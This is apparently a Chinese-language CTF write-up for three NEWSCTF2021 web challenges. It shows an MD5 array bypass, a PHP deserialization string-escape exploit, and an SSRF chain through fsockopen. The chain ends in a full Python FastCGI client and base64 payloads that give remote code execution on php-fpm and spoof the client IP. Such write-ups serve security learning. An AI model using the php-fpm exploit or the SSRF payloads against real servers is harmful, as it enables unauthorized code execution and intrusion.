0%

NEWSCTF2021-Web

整理的一下几个web题,题目难度感觉有点大,tcl….

easy_web

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$six_number = $_POST['webp'];
$a = $_POST['a'];
$b = $_POST['b'];
$c = $_POST['c'];
if (md5($six_number) == 'e10adc3949ba59abbe56e057f20f883e' && md5($a) === md5($b) && $a !== $b) {
if($array[++$c]=1){
if($array[]=1){
echo "nonono";
}
else{
require_once 'flag.php';
echo $flag;
}
}
}
?>

首先绕过md5,直接利用数组绕过,即首先可构造出:payload=>

1
webp=123456&a[]=1&b[]=2

接下来就是需要让$array[]=1不成立,想到数组溢出,php可计算的最大数值在32和64位中分别为:21474836479223372036854775807

这里输入9223372036854775806,当执行++$c后,会产生数组溢出,到$array[]=1时便会抛出错误,使赋值失败,从而输入flag。

即payload=>webp=123456&a[]=1&b[]=2&c=9223372036854775806

得到的是一个密码,之后拿网站下的背景图片解misc得到flag。

weblog

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
highlight_file(__FILE__);
error_reporting(0);
class B{
public $logFile;
public $initMsg;
public $exitMsg;

function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);

}

function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}

function __destruct(){
echo "this is destruct";
}
}

class A {
public $file = 'flag{xxxxxxxx}';
public $weblogfile;

function __construct() {
echo $this->file;
}

function __wakeup(){
// self::waf($this->filepath);
$obj = new B($this->weblogfile);

}

public function waf($str){
$str=preg_replace("/[<>*#'|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}

function __destruct(){
echo "this is destruct";
}

}
class C {
public $file;
public $weblogfile;
}
class D{
public $logFile;
public $initMsg;
public $exitMsg;
}

function is_serialized($data){

$r = preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE);
if(!empty($r)) {
foreach($m[0] as $v){
$a = intval($v[1])+strlen($v[0])+intval(substr($v[0],1));
if($data[$a] !== '"')
return false;
}
}
if(!is_string($data))
return false;
$data = trim($data);
if('N;' === $data)
return true;
if(!preg_match('/^([adObis]):/',$data,$badions))
return false;
switch($badions[1]){
case 'a':
case 'O':
case 's':
if(preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) )
return true;
break;
case 'b':
case 'i':
case 'd':
if(preg_match("/^{$badions[1]}:[0-9.E-]+;\$/", $data))
return true;
break;
}
return false;

}
$log = $_GET['log'];
if(!is_serialized($log)){
die('no1');
}
$log1 = preg_replace("/A/","C",$log);
$log2 = preg_replace("/B/","D",$log1);
if(!unserialize($log2)){
die('no2');
}
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>

考点:反序列化字符逃逸

注意点有个绕过函数:

1
2
3
4
5
6
7
8
$r = preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE);
if(!empty($r)) {
foreach($m[0] as $v){
$a = intval($v[1])+strlen($v[0])+intval(substr($v[0],1));
if($data[$a] !== '"')
return false;
}
}

:<8绕过正则匹配

剩下正常逃逸,exp如下:

1
2
3
4
5
6
<?php
classA {
public $file='flagflagflagflagflagflag<';
public $weblogfile=';s:10:"weblogfile";s:<8:"flflagag.php";}';
}
echo serialize(new A);

impossible ip

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
highlight_file(__FILE__);
$data = base64_decode($_GET['data']);
$host = $_GET['host'];
$port = $_GET['port'];
if(preg_match('/usr|auto|log/i', $data)){
die('error');
}
$fp = fsockopen($host,intval($port),$errno, $errstr, 30);
if (!$fp) {
die();
}
else{
fwrite($fp, $data);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}

socket可以任意伪造http请求,exp如下:

1
2
3
4
5
6
7
8
<?php
$host='127.0.0.1';
// $port=5778;
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

payload=>

1
?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php  
error_reporting(0);
$allow = array('127.0.0.1','localhost');
if(in_array($_SERVER['HTTP_HOST'],$allow)){
highlight_file(__FILE__);
$contents = $_POST['data'];
$file = 'file/'.md5("lastsward".$_SERVER['REMOTE_ADDR']);
@mkdir($file);
if(!preg_match('/lastsward/i', $contents)){
file_put_contents($file.'/hint.txt', $contents);
}
if(file_get_contents($file.'/hint.txt')==='lastsward'){
phpinfo();
}
die();
}
if($_SERVER['REMOTE_ADDR']==='120.78.22.12'||$_SERVER['REMOTE_ADDR']==='120.78.22.121'){
system('cat e6 /flag');
die();
}
die('请从本地访问');

数组可以绕过waf:

1
2
3
4
5
6
7
8
9
10
11
<?
$host='127.0.0.1';
// $port=5778;
$out = "POST /flag.php HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .="Content-Type: application/x-www-form-urlencoded;charset=UTF-8\r\n";
$out .="Content-Length: 20\r\n\r\n";
$out .="data%5B%5D=lastsward\r\n";
echo base64_encode($out);
?>

得到

1
?data=UE9TVCAvZmxhZy5waHAgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogQ2xvc2UNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkO2NoYXJzZXQ9VVRGLTgNCkNvbnRlbnQtTGVuZ3RoOiAyMA0KDQpkYXRhJTVCJTVEPWxhc3Rzd2FyZA0K&host=127.0.0.1&port=80

返回phpinfo信息,可以看到php-fpm,接下来就是需要利用ssrf打fpm(9000)端口,伪造ip。具体参考:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

fpm脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

修改vps为自己的,开启端口监听,得到payload=>

1
data=AQHQygAIAAAAAQAAAAAAAAEE0MoBiQAAEQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDgRSRVFVRVNUX01FVEhPRFBPU1QPFlNDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvZmxhZy5waHALFlNDUklQVF9OQU1FL3Zhci93d3cvaHRtbC9mbGFnLnBocAwAUVVFUllfU1RSSU5HCxZSRVFVRVNUX1VSSS92YXIvd3d3L2h0bWwvZmxhZy5waHANAURPQ1VNRU5UX1JPT1QvDw5TRVJWRVJfU09GVFdBUkVwaHAvZmNnaWNsaWVudAsMUkVNT1RFX0FERFIxMjAuNzguMjIuMTILBFJFTU9URV9QT1JUOTk4NQsJU0VSVkVSX0FERFIxMjcuMC4wLjELAlNFUlZFUl9QT1JUODALCVNFUlZFUl9OQU1FbG9jYWxob3N0DwhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMQwQQ09OVEVOVF9UWVBFYXBwbGljYXRpb24vdGV4dA4BQ09OVEVOVF9MRU5HVEgwAQTQygAAAAABBdDKAAAAAA==&host=127.0.0.1&port=9000

执行得到flag。

img

----------------本文结束感谢阅读----------------